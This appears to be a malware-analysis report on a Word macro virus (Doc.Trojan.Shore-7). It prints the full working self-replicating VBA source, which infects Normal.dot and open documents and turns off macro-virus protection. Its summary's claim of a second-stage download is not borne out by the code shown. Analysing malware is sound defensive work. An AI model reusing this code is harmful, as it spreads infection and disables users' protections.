Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb41979c1c0a03c8…

MALICIOUS

Office (OLE)

82.5 KB Created: 2000-10-05 18:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 78d0a0926d2932254641e715f66f3d93 SHA-1: 2aaf81c50b8fcd596c663d6dd73c0e494b9d170b SHA-256: cb41979c1c0a03c885be377f5aa35d3e9ae94b80b065b36787d7a04e600354cf
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains critical heuristic firings indicating the presence of legacy WordBasic and VBA macros, specifically an AutoOpen macro. ClamAV detection confirms this as Doc.Trojan.Shore-7. The VBA script, named 'Offee', appears to be designed to execute malicious code, likely to download and run a second-stage payload, which is a common technique for malware distribution.

Heuristics 6

  • ClamAV: Doc.Trojan.Shore-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Shore-7
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                    .DeleteLines 1, .CountOfLines
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42913 bytes
SHA-256: fb158116d6911df748547baf9a0e852bfc3a08c90f3a0d64de89e92039be259d
Detection
ClamAV: Doc.Trojan.Shore-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Offee"
'
'Thanks to cyberHack, Astia, Marker, BPPHCK, etc.
'I love ITS
'
'Public declaration
'
'
Public Const SeriesNumber = 2017
Public Const ModuleName = "Offee", mw = "Microsoft Word", _
        OFC = "Offshore Engineering", _
        Peace = "Peace at the sea...", _
        SerNum$ = "Series Number", _
        pass = "Password ", _
        badboy = "Want to be a bad boy....", _
        scrollCap = "Normal." & ModuleName & ".scrollCaption", _
        scrollCap2 = "Normal." & ModuleName & ".scrollCaption2", _
        ScrollingProc = "Normal." & ModuleName & ".Scrolling", _
        ScrollStringProc = "Normal." & ModuleName & ".ScrollString", _
        AnimationProc = "Normal." & ModuleName & ".Animation"

Public Const msg = "Unable to get the access. Request aborted...", _
        aaa = "§·_n²__", bbb = "wenni", ccc = "cool", _
        abadacc = "Bad access...", _
        code = "backbone130274", ddd = "junkies9908", eee = "Timor9909"

Public anIter As Integer
Public AppCaption As String, AppCaptionPos As Integer, _
        WinCaption As String, WinCaptionPos As Integer, _
        Seq As Integer, Iteration As Integer

Public anCap As String, anPos As Integer, anSeq As Integer, _
        ToolsOptionsDlg As Dialog, _
        OrganizerDlg As Dialog, _
        ToolsTemplatesDlg As Dialog, _
        ToolsMacrosDlg As Dialog, _
        FormatStyleDlg As Dialog, _
        MasterOffee As String

'procedures in Offee2000 module
'
Sub ClearAddDocProp()
Dim aDocProp As DocumentProperty
    For Each aDocProp In NormalTemplate.CustomDocumentProperties
        aDocProp.Delete
    Next aDocProp
    
    NormalTemplate.CustomDocumentProperties.Add _
            Name:=SerNum$, _
            Type:=msoPropertyTypeNumber, _
            Value:=SeriesNumber, _
            LinkToContent:=False
End Sub


Function getDocPropExist(theObject As Object) As Boolean
Dim adp As DocumentProperty
    getDocPropExist = False
    For Each adp In theObject.CustomDocumentProperties
    With adp
        If .Name = SerNum$ And .Type = msoPropertyTypeNumber And _
            .Value = SeriesNumber Then
            getDocPropExist = True
            Exit Function
        End If
    End With
    Next adp
End Function

Function getModuleExist(theObject As Object) As Boolean
Dim aDocProp As DocumentProperty
    getModuleExist = False
    For Each anObject In theObject.VBProject.VBComponents
        If anObject.Name = ModuleName Then
            getModuleExist = True
            Exit Function
        End If
    Next anObject
End Function
    
Function getInfected(theObject As Object) As Boolean
    getInfected = getModuleExist(theObject) And getDocPropExist(theObject)
End Function

Sub clearMacros(theObject As Object)
Dim aDocProp As DocumentProperty
    For Each anObject In theObject.VBProject.VBComponents
        If anObject.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=theObject.FullName, _
            Name:=anObject.Name, Object:=wdOrganizerObjectProjectItems
        Else
            On Error Resume Next
            With anObject.CodeModule
                .DeleteLines 1, .CountOfLines
            End With
        End If
    Next anObject
    
    For Each aDocProp In theObject.CustomDocumentProperties
        aDocProp.Delete
    Next aDocProp
End Sub

Sub copyMacros(theSource As Object, theDestination As Object)
Dim aDocProp As DocumentProperty
    If Not getDocPropExist(theDestination) Then _
        theDestination.CustomDocumentProperties.Add _
            Name:=SerNum$, _
            Type:=msoPropertyTypeNumber, _
            Value:=SeriesNumber, _
            LinkToContent:=False

    On Error Resume Next
        Application.OrganizerCopy _
            Source:=theSource.FullName, _
            Destination:=theDestination.FullName, _
            Name:=ModuleName, _
            Object:=wdOrganizerObjectProjectItems
End Sub

Sub Infecting(theSource As Object, theDestination As Object)
    On Error Resume Next
    If Not getInfected(theSource) Then Exit Sub
    If Not getInfected(theDestination) Then
        Application.OrganizerRename _
            Source:=theDestination.FullName, _
            Name:=ModuleName, newname:="xxxx", _
            Object:=wdOrganizerObjectProjectItems
        clearMacros theDestination
        copyMacros theSource, theDestination
        theDestination.Save True
    End If
End Sub

Sub Copy2Normal()
Dim ATemp As Template, AI As AddIn, ADoc As Document
    Stealth
    On Error Resume Next
    If getInfected(ActiveDocument) Then GoTo Jump2
    
    If Documents.Count > 0 Then
        For Each ADoc In Documents
            If getInfected(ADoc) Then
                Infecting ADoc, ActiveDocument
                GoTo Jump2
            End If
        Next ADoc
    End If
    
    If Templates.Count > 0 Then
        For Each ATemp In Templates
            If getInfected(ATemp) Then
                Infecting ATemp, ActiveDocument
                GoTo Jump2
            End If
        Next ATemp
    End If

Jump2:
    If Documents.Count > 0 Then
        Infecting ActiveDocument, NormalTemplate
        If ActiveDocument.AttachedTemplate <> NormalTemplate Then _
            Infecting ActiveDocument, ActiveDocument.AttachedTemplate
        If Templates.Count > 0 Then
            For Each ATemp In Templates
                Infecting ActiveDocument, ATemp
            Next ATemp
        End If
    End If

    With NormalTemplate.VBProject.VBComponents(1).CodeModule
        .DeleteLines 1, .CountOfLines
    End With

    NormalTemplate.Save
    CreateMasterOffee
End Sub

Sub Copy2Document()
Dim ADoc As Document, ATemp As Template
    Stealth
    On Error Resume Next
    If Not getInfected(NormalTemplate) Then
        If getInfected(ActiveDocument) Then
            Copy2Normal
        Else
            For Each ADoc In Documents
                If getInfected(ADoc) Then
                    Infecting ADoc, NormalTemplate
                    GoTo Jump1
                End If
            Next ADoc
            
            For Each ATemp In Templates
                If getInfected(ATemp) Then
                    Infecting ATemp, NormalTemplate
                    GoTo Jump1
                End If
            Next ATemp
        End If
    End If

    If Not getInfected(NormalTemplate) Then
        Application.StatusBar = ModuleName & " has lost forever...."
        Exit Sub
    End If

Jump1:
    For Each ADoc In Documents
        Infecting NormalTemplate, ADoc
        On Error Resume Next
        WordBasic.viewpage

        If ADoc.AttachedTemplate <> NormalTemplate Then
            Infecting NormalTemplate, ADoc.AttachedTemplate
            ADoc.AttachedTemplate = NormalTemplate
        End If
    Next ADoc
End Sub


Sub CreateMasterOffee()
Dim ADoc As Document, AI As AddIn, GoOn As Boolean, Win As Window
    
    On Error Resume Next
    For Each AI In AddIns
        off$ = Left$(AI.Name, Len(ModuleName))
        If off$ = ModuleName Then AI.Delete
    Next AI
    
    If getInfected(NormalTemplate) Then
        MasterOffee = Options.DefaultFilePath(wdPicturesPath) & "\" & ModuleName & Str(SeriesNumber) & ".dot"
        Set ADoc = NormalTemplate.OpenAsDocument
        With ADoc
            .SaveAs fileName:=MasterOffee, FileFormat:=wdFormatTemplate, _
                AddToRecentFiles:=False
            .Close saveChanges:=wdDoNotSaveChanges
        End With
    
        AddIns.Add fileName:=MasterOffee, install:=True
    End If
End Sub


'infection procedures
Sub AutoOpen()
    AnimateCaption
    Stealth
    WordBasic.disableautomacros True
    
    On Error Resume Next
    Copy2Normal
    Copy2Document
    NormalTemplate.Save
End Sub

Sub FileOpen()
    AnimateCaption
    Stealth
    WordBasic.disableautomacros True
    
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        Copy2Document
        Copy2Normal
        On Error Resume Next
        ActiveDocument.Save
    End If
    WordBasic.disableautomacros False
End Sub

Sub AutoClose()
    AnimateCaption
    Stealth
    
    On Error Resume Next
    Copy2Document
    If Not ActiveDocument.Saved And ActiveDocument.Characters.Count > 0 Then ActiveDocument.Save
'    ActiveDocument.Saved = True
    ModifyAttr ActiveDocument.FullName
End Sub

Sub FileClose()
Dim afn As String
    WordBasic.disableautomacros True
    
    On Error Resume Next
    AutoClose
    afn = ActiveDocument.FullName
    ActiveDocument.Close
    ModifyAttr afn
    WordBasic.disableautomacros False
End Sub




Sub InitDialog()
    AnimateCaption
    Stealth
    Application.DisplayAlerts = wdAlertsNone
    On Error Resume Next
    Set ToolsOptionsDlg = Dialogs(wdDialogToolsOptions)
    Set OrganizerDlg = Dialogs(wdDialogOrganizer)
    Set ToolsTemplatesDlg = Dialogs(wdDialogToolsTemplates)
    Set ToolsMacrosDlg = Dialogs(wdDialogToolsMacro)
    Set FormatStyleDlg = Dialogs(wdDialogFormatStyle)
End Sub
    
    
Sub AutoExec()
Dim Combar As CommandBar
    WordBasic.disableautomacros True
    InitDialog
    
    Copy2Normal
    Copy2Document
    ModifyAttr NormalTemplate.FullName
    ClearAddDocProp
    For Each Combar In Application.CommandBars
        On Error Resume Next
        Combar.reset
    Next Combar
End Sub

Sub AutoExit()
    AutoOpen
    ModifyAttr NormalTemplate.FullName
End Sub

Sub AutoNew()
    AutoExit
End Sub

Sub fileNewDefault()
    AnimateCaption
    Stealth
    WordBasic.fileNewDefault
    AutoExit
End Sub

Sub FileNew()
    AnimateCaption
    If Dialogs(wdDialogFileNew).Show <> 0 Then AutoExit
End Sub

Sub Stealth()
    On Error Resume Next
    With Options
        .SaveNormalPrompt = False
        .SavePropertiesPrompt = False
        .VirusProtection = False
    End With
    
    With NormalTemplate
        If .Saved = False Then .Save
    End With
End Sub

Sub NoStealth()
    With Options
        .SaveNormalPrompt = True
        .SavePropertiesPrompt = True
        .VirusProtection = True
    End With
    
    On Error Resume Next
    With NormalTemplate
        If .Saved = False Then .Save
    End With
End Sub

Sub ToolsOptions()
    InitDialog
    NoStealth
    
    On Error Resume Next
    WordBasic.ToolsOptions
    Stealth
End Sub


Sub NoAccess()
    a = MsgBox(msg, vbExclamation, abadacc)
    Stealth
    AnimateCaption
End Sub

Function PassDialog() As Boolean
Dim Cruel As String, Passi As String
    PassDialog = False
    Cruel = ccc + Mid(code, 9, 2)
    Passi = pass & "(" & ModuleName & Str(SeriesNumber) & ")  : "
    If LCase(InputBox(Passi, badboy)) = Cruel Then
        PassDialog = True
    Else
        NoAccess
    End If
End Function


Sub ToolsMacro()
    InitDialog
    ToolsMacrosDlg.Display
End Sub


Sub FileTemplates()
    InitDialog
    ToolsTemplatesDlg.Display
End Sub

Sub ViewVbCode()
    AnimateCaption
    Stealth
    Application.ShowVisualBasicEditor = PassDialog
End Sub

Sub viewcode()
    ViewVbCode
End Sub

Sub Organizer()
    InitDialog
    OrganizerDlg.Display
End Sub

Sub FormatStyle()
    InitDialog
    With FormatStyleDlg
        .Display
        .Execute
    End With
End Sub


Sub ModifyAttr(fileName As String)
    On Error Resume Next
    If GetAttr(fileName) <> vbArchive Then SetAttr fileName, vbArchive
End Sub


Sub AnimateCaption()
    On Error Resume Next
    If Documents.Count > 0 Then WordBasic.viewpage
    
    Seq = 0
    Iteration = 0
    Application.OnTime Now + TimeSerial(0, 0, 3), ScrollStringProc
End Sub

Sub ScrollString()
    Select Case Seq
        Case 0
            AppCaption = OFC
            WinCaption = Peace
            Seq = 1
        Case Else
            AppCaption = mw
            RestoreWindowCaption
            If Documents.Count > 0 Then
                WinCaption = ActiveDocument.FullName
            Else
                WinCaption = " "
            End If
            Seq = 0
    End Select
    
    On Error Resume Next
    AppCaptionPos = 0
    WinCaptionPos = 0
    Iteration = Iteration + 1
    
    Application.OnTime Now + TimeSerial(0, 0, 3), ScrollingProc
End Sub

Sub Scrolling()
    Application.Caption = Right$(AppCaption, AppCaptionPos)
    AppCaptionPos = AppCaptionPos + 1
    
    If Documents.Count > 0 Then _
        ActiveWindow.Caption = Right$(WinCaption, WinCaptionPos)
    WinCaptionPos = WinCaptionPos + 1
    
    If WinCaptionPos > Len(WinCaption) And Len(AppCaption) < AppCaptionPos Then
        If Seq = 1 Then
            Application.OnTime Now + TimeSerial(0, 0, 3), ScrollStringProc
        ElseIf Seq = 0 Then
            If Iteration < 5 Then
                Copy2Document
'                Copy2Normal
                Application.OnTime Now + TimeSerial(0, 0, 10), ScrollStringProc
            Else
'                Copy2Normal
                Exit Sub
            End If
        End If
    Else
        Application.OnTime Now + TimeSerial(0, 0, 0.5), ScrollingProc
    End If
End Sub

Sub RestoreWindowCaption()
Dim Win As Window
    On Error Resume Next
    For Each Win In Windows
        Win.Caption = Win.Document.FullName
    Next Win
End Sub


' Processing file: /tmp/qstore_w4p90ibh
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/Offee - 32910 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0000 ""
' Line #1:
' 	QuoteRem 0x0000 0x0030 "Thanks to cyberHack, Astia, Marker, BPPHCK, etc."
' Line #2:
' 	QuoteRem 0x0000 0x000A "I love ITS"
' Line #3:
' 	QuoteRem 0x0000 0x0000 ""
' Line #4:
' 	QuoteRem 0x0000 0x0012 "Public declaration"
' Line #5:
' 	QuoteRem 0x0000 0x0000 ""
' Line #6:
' 	QuoteRem 0x0000 0x0000 ""
' Line #7:
' 	Dim (Public Const) 
' 	LitDI2 0x07E1 
' 	VarDefn SeriesNumber
' Line #8:
' 	LineCont 0x0028 0A 00 08 00 0E 00 08 00 12 00 08 00 16 00 08 00 1A 00 08 00 1E 00 08 00 26 00 08 00 2E 00 08 00 36 00 08 00 3E 00 08 00
' 	Dim (Public Const) 
' 	LitStr 0x0005 "Offee"
' 	VarDefn ModuleName
' 	LitStr 0x000E "Microsoft Word"
' 	VarDefn mw
' 	LitStr 0x0014 "Offshore Engineering"
' 	VarDefn OFC
' 	LitStr 0x0013 "Peace at the sea..."
' 	VarDefn Peace
' 	LitStr 0x000D "Series Number"
' 	VarDefn SerNum
' 	LitStr 0x0009 "Password "
' 	VarDefn pass
' 	LitStr 0x0018 "Want to be a bad boy...."
' 	VarDefn badboy
' 	LitStr 0x0007 "Normal."
' 	Ld ModuleName 
' 	Concat 
' 	LitStr 0x000E ".scrollCaption"
' 	Concat 
' 	VarDefn scrollCap
' 	LitStr 0x0007 "Normal."
' 	Ld ModuleName 
' 	Concat 
' 	LitStr 0x000F ".scrollCaption2"
' 	Concat 
' 	VarDefn scrollCap2
' 	LitStr 0x0007 "Normal."
' 	Ld ModuleName 
' 	Concat 
' 	LitStr 0x000A ".Scrolling"
' 	Concat 
' 	VarDefn ScrollingProc
' 	LitStr 0x0007 "Normal."
' 	Ld ModuleName 
' 	Concat 
' 	LitStr 0x000D ".ScrollString"
' 	Concat 
' 	VarDefn ScrollStringProc
' 	LitStr 0x0007 "Normal."
' 	Ld ModuleName 
' 	Concat 
' 	LitStr 0x000A ".Animation"
' 	Concat 
' 	VarDefn AnimationProc
' Line #9:
' Line #10:
' 	LineCont 0x000C 06 00 08 00 12 00 08 00 16 00 08 00
' 	Dim (Public Const) 
' 	LitStr 0x002C "Unable to get the access. Request aborted..."
' 	VarDefn msg
' 	LitStr 0x0007 "§·_n²__"
' 	VarDefn aaa
' 	LitStr 0x0005 "wenni"
' 	VarDefn bbb
' 	LitStr 0x0004 "cool"
' 	VarDefn ccc
' 	LitStr 0x000D "Bad access..."
' 	VarDefn abadacc
' 	LitStr 0x000E "backbone130274"
' 	VarDefn code
' 	LitStr 0x000B "junkies9908"
' 	VarDefn ddd
' 	LitStr 0x0009 "Timor9909"
' 	VarDefn eee
' Line #11:
' Line #12:
' 	Dim (Public) 
' 	VarDefn anIter (As Integer)
' Line #13:
' 	LineCont 0x0008 09 00 08 00 11 00 08 00
' 	Dim (Public) 
' 	VarDefn AppCaption (As String)
' 	VarDefn AppCaptionPos (As Integer)
' 	VarDefn WinCaption (As String)
' 	VarDefn WinCaptionPos (As Integer)
' 	VarDefn Seq (As Integer)
' 	VarDefn Iteration (As Integer)
' Line #14:
' Line #15:
' 	LineCont 0x0018 0D 00 08 00 11 00 08 00 15 00 08 00 19 00 08 00 1D 00 08 00 21 00 08 00
' 	Dim (Public) 
' 	VarDefn anCap (As String)
' 	VarDefn anPos (As Integer)
' 	VarDefn anSeq (As Integer)
' 	VarDefn ToolsOptionsDlg
' 	VarDefn OrganizerDlg
' 	VarDefn ToolsTemplatesDlg
' 	VarDefn ToolsMacrosDlg
' 	VarDefn FormatStyleDlg
' 	VarDefn MasterOffee (As String)
' Line #16:
' Line #17:
' 	QuoteRem 0x0000 0x001E "procedures in Offee2000 module"
' Line #18:
' 	QuoteRem 0x0000 0x0000 ""
' Line #19:
' 	FuncDefn (Sub ClearAddDocProp())
' Line #20:
' 	Dim 
' 	VarDefn aDocProp (As DocumentProperty)
' Line #21:
' 	StartForVariable 
' 	Ld aDocProp 
' 	EndForVariable 
' 	Ld NormalTemplate 
' 	MemLd CustomDocumentProperties 
' 	ForEach 
' Line #22:
' 	Ld aDocProp 
' 	ArgsMemCall Delete 0x0000 
' Line #23:
' 	StartForVariable 
' 	Ld aDocProp 
' 	EndForVariable 
' 	NextVar 
' Line #24:
' Line #25:
' 	LineCont 0x0010 05 00 0C 00 09 00 0C 00 0D 00 0C 00 11 00 0C 00
' 	Ld SerNum$ 
' 	ParamNamed New 
' 	Ld msoPropertyTypeNumber 
' 	ParamNamed TypeOf 
' 	Ld SeriesNumber 
' 	ParamNamed Value 
' 	LitVarSpecial (False)
' 	ParamNamed LinkToContent 
' 	Ld NormalTemplate 
' 	MemLd CustomDocumentProperties 
' 	ArgsMemCall Add 0x0004 
' Line #26:
' 	EndSub 
' Line #27:
' Line #28:
' Line #29:
' 	FuncDefn (Function getDocPropExist(theObject As Object) As Boolean)
' Line #30:
' 	Dim 
' 	VarDefn adp (As DocumentProperty)
' Line #31:
' 	LitVarSpecial (False)
' 	St getDocPropExist 
' Line #32:
' 	StartForVariable 
' 	Ld adp 
' 	EndForVariable 
' 	Ld theObject 
' 	MemLd CustomDocumentProperties 
' 	ForEach 
' Line #33:
' 	StartWithExpr 
' 	Ld adp 
' 	With 
' Line #34:
' 	LineCont 0x0004 0B 00 0C 00
' 	MemLdWith New 
' 	Ld SerNum$ 
' 	Eq 
' 	MemLdWith TypeOf 
' 	Ld msoPropertyTypeNumber 
' 	Eq 
' 	And 
' 	MemLdWith Value 
' 	Ld SeriesNumber 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #35:
' 	LitVarSpecial (True)
' 	St getDocPropExist 
' Line #36:
' 	ExitFunc 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	EndWith 
' Line #39:
' 	StartForVariable 
' 	Ld adp 
' 	EndForVariable 
' 	NextVar 
' Line #40:
' 	EndFunc 
' Line #41:
' Line #42:
' 	FuncDefn (Function getModuleExist(theObject As Object) As Boolean)
' Line #43:
' 	Dim 
' 	VarDefn aDocProp (As DocumentProperty)
' Line #44:
' 	LitVarSpecial (False)
' 	St getModuleExist 
' Line #45:
' 	StartForVariable 
' 	Ld anObject 
' 	EndForVariable 
' 	Ld theObject 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #46:
' 	Ld anObject 
' 	MemLd New 
' 	Ld ModuleName 
' 	Eq 
' 	IfBlock 
' Line #47:
' 	LitVarSpecial (True)
' 	St getModuleExist 
' Line #48:
' 	ExitFunc 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	StartForVariable 
' 	Ld anObject 
' 	EndForVariable 
' 	NextVar 
' Line #51:
' 	EndFunc 
' Line #52:
' Line #53:
' 	FuncDefn (Function getInfected(theObject As Object) As Boolean)
' Line #54:
' 	Ld theObject 
' 	ArgsLd getModuleExist 0x0001 
' 	Ld theObject 
' 	ArgsLd getDocPropExist 0x0001 
' 	And 
' 	St getInfected 
' Line #55:
' 	EndFunc 
' Line #56:
' Line #57:
' 	FuncDefn (Sub clearMacros(theObject As Object))
' Line #58:
' 	Dim 
' 	VarDefn aDocProp (As DocumentProperty)
' Line #59:
' 	StartForVariable 
' 	Ld anObject 
' 	EndForVariable 
' 	Ld theObject 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #60:
' 	Ld anObject 
' 	MemLd New 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	IfBlock 
' Line #61:
' 	LineCont 0x0004 09 00 0C 00
' 	Ld theObject 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld anObject 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #62:
' 	ElseBlock 
' Line #63:
' 	OnError (Resume Next) 
' Line #64:
' 	StartWithExpr 
' 	Ld anObject 
' 	MemLd CodeModule 
' 	With 
' Line #65:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #66:
' 	EndWith 
' Line #67:
' 	EndIfBlock 
' Line #68:
' 	StartForVariable 
' 	Ld anObject 
' 	EndForVariable 
' 	NextVar 
' Line #69:
' Line #70:
' 	StartForVariable 
' 	Ld aDocProp 
' 	EndForVariable 
' 	Ld theObject 
' 	MemLd CustomDocumentProperties 
' 	ForEach 
' Line #71:
' 	Ld aDocProp 
' 	ArgsMemCall Delete 0x0000 
' Line #72:
' 	StartForVariable 
' 	Ld aDocProp 
' 	EndForVariable 
' 	NextVar 
' Line #73:
' 	EndSub 
' Line #74:
' Line #75:
' 	FuncDefn (Sub copyMacros(theSource As Object, theDestination As Object))
' Line #76:
' 	Dim 
' 	VarDefn aDocProp (As DocumentProperty)
' Line #77:
' 	LineCont 0x0014 07 00 08 00 0C 00 0C 00 10 00 0C 00 14 00 0C 00 18 00 0C 00
' 	Ld theDestination 
' 	ArgsLd getDocPropExist 0x0001 
' 	Not 
' 	If 
' 	BoSImplicit 
' 	Ld SerNum$ 
' 	ParamNamed New 
' 	Ld msoPropertyTypeNumber 
' 	ParamNamed TypeOf 
' 	Ld SeriesNumber 
' 	ParamNamed Value 
' 	LitVarSpecial (False)
' 	ParamNamed LinkToContent 
' 	Ld theDestination 
' 	MemLd CustomDocumentProperties 
' 	ArgsMemCall Add 0x0004 
' 	EndIf 
' Line #78:
' Line #79:
' 	OnError (Resume Next) 
' Line #80:
' 	LineCont 0x0010 03 00 0C 00 09 00 0C 00 0F 00 0C 00 13 00 0C 00
' 	Ld theSource 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld theDestination 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld ModuleName 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #81:
' 	EndSub 
' Line #82:
' Line #83:
' 	FuncDefn (Sub Infecting(theSource As Object, theDestination As Object))
' Line #84:
' 	OnError (Resume Next) 
' Line #85:
' 	Ld theSource 
' 	ArgsLd getInfected 0x0001 
' 	Not 
' 	If 
' 	BoSImplicit 
' 	ExitSub 
' 	EndIf 
' Line #86:
' 	Ld theDestination 
' 	ArgsLd getInfected 0x0001 
' 	Not 
' 	IfBlock 
' Line #87:
' 	LineCont 0x000C 03 00 0C 00 09 00 0C 00 11 00 0C 00
' 	Ld theDestination 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ModuleName 
' 	ParamNamed New 
' 	LitStr 0x0004 "xxxx"
' 	ParamNamed newname 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerRename 0x0004 
' Line #88:
' 	Ld theDestination 
' 	ArgsCall clearMacros 0x0001 
' Line #89:
' 	Ld theSource 
' 	Ld theDestination 
' 	ArgsCall copyMacros 0x0002 
' Line #90:
' 	LitVarSpecial (True)
' 	Ld theDestination 
' 	ArgsMemCall Save 0x0001 
' Line #91:
' 	EndIfBlock 
' Line #92:
' 	EndSub 
' Line #93:
' Line #94:
' 	FuncDefn (Sub Copy2Normal())
' Line #95:
' 	Dim 
' 	VarDefn ATemp (As Template)
' 	VarDefn AI (As AddIn)
' 	VarDefn ADoc (As Document)
' Line #96:
' 	ArgsCall Stealth 0x0000 
' Line #97:
' 	OnError (Resume Next) 
' Line #98:
' 	Ld ActiveDocument 
' 	ArgsLd getInfected 0x0001 
' 	If 
' 	BoSImplicit 
' 	GoTo Jump2 
' 	EndIf 
' Line #99:
' Line #100:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #101:
' 	StartForVariable 
' 	Ld ADoc 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #102:
' 	Ld ADoc 
' 	ArgsLd getInfected 0x0001 
' 	IfBlock 
' Line #103:
' 	Ld ADoc 
' 	Ld ActiveDocument 
' 	ArgsCall Infecting 0x0002 
' Line #104:
' 	GoTo Jump2 
' Line #105:
' 	EndIfBlock 
' Line #106:
' 	StartForVariable 
' 	Ld ADoc 
' 	EndForVariable 
' 	NextVar 
' Line #107:
' 	EndIfBlock 
' Line #108:
' Line #109:
' 	Ld Templates 
' 	MemLd Count 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #110:
' 	StartForVariable 
' 	Ld ATemp 
' 	EndForVariable 
…

Open this report in the interactive analyzer, or submit your own file for analysis.